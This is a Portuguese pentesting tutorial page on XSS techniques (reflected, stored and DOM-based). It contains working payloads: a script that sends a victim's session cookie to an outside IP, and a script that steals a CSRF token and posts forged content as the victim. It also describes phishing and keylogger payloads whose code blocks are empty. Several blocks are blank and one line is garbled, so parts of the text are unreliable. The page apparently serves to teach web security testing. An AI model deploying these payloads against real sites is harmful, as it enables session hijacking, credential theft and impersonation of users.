> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).
# Técnicas de XSS
## XSS (Refletido):
> Refletido: Esse tipo de XSS ocorre quando dados fornecidos pelo usuário são refletidos na resposta HTTP sem validação adequada. Isso permite que um invasor injete código malicioso na resposta, que então é executado no navegador do usuário.
* Neste caso, podemos injetar código HTML como no exemplo abaixo: `teste
Teste
`:
* Podemos ver que conseguimos modificar o tamanho do texto com o **h1** tag:
## XSS (Armazenado):
> Armazenado: Esse tipo de XSS ocorre quando um invasor pode armazenar código malicioso em um banco de dados ou no servidor web que hospeda uma página vulnerável. Esse código é executado toda vez que a página é carregada. Se executarmos um script como o abaixo em um formulário, ``, e recebermos o alerta abaixo, isso significa que o site é vulnerável a esse tipo de ataque:
Poderíamos redirecionar o usuário para um site vulnerável e realizar um ataque de phishing:
```javascript
```
Este código JavaScript cria um formulário de login em uma página web e envia os dados inseridos (endereço de e-mail e senha) para um endereço IP especificado por meio de uma solicitação HTTP usando `fetch()`.
```javascript
```
Escutamos na porta 80 com **python3**:
```bash
python3 -m http.server 80
```
## XSS (Baseado em DOM):
> Baseado em DOM: Esse tipo de XSS ocorre quando o código malicioso é executado no navegador do usuário via DOM (Document Object Model). Isso ocorre quando o código JavaScript em uma página web modifica o DOM de uma forma vulnerável à injeção de código malicioso. O script abaixo pode capturar todas as teclas digitadas pelo usuário e enviá-las para um **python3** servidor pela porta 80:
```javascript
```
Podemos escutar e filtrar apenas os caracteres de que precisamos com **grep**:
```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'
```
***
Para obter o cookie de sessão de um servidor de terceiros, criamos este arquivo no nosso computador **test.js**
```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();
```
No formulário, enviamos este script:
```html
```
Escutamos e obtemos o cookie de sessão do usuário:
Para escrever algo no nome de outra pessoa, poderíamos seguir os passos abaixo: Intercepte a requisição com [Burp Suite](/pt-br/hacking-tools/web/burpsuite.md) e copie o conteúdo destacado em vermelho:
O script abaixo realiza uma **GET** solicitação para uma URL local, analisa a resposta HTML para identificar um **CSRF** token, então realiza uma solicitação POST com dados que incluem o token CSRF para a mesma URL. A variável codificada em URL `dados` envia as informações para o servidor onde este script está implementado. É essencial modificar os `dados` valores, o token e o endereço IP.
```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);
```
No formulário, enviamos este script:
```javascript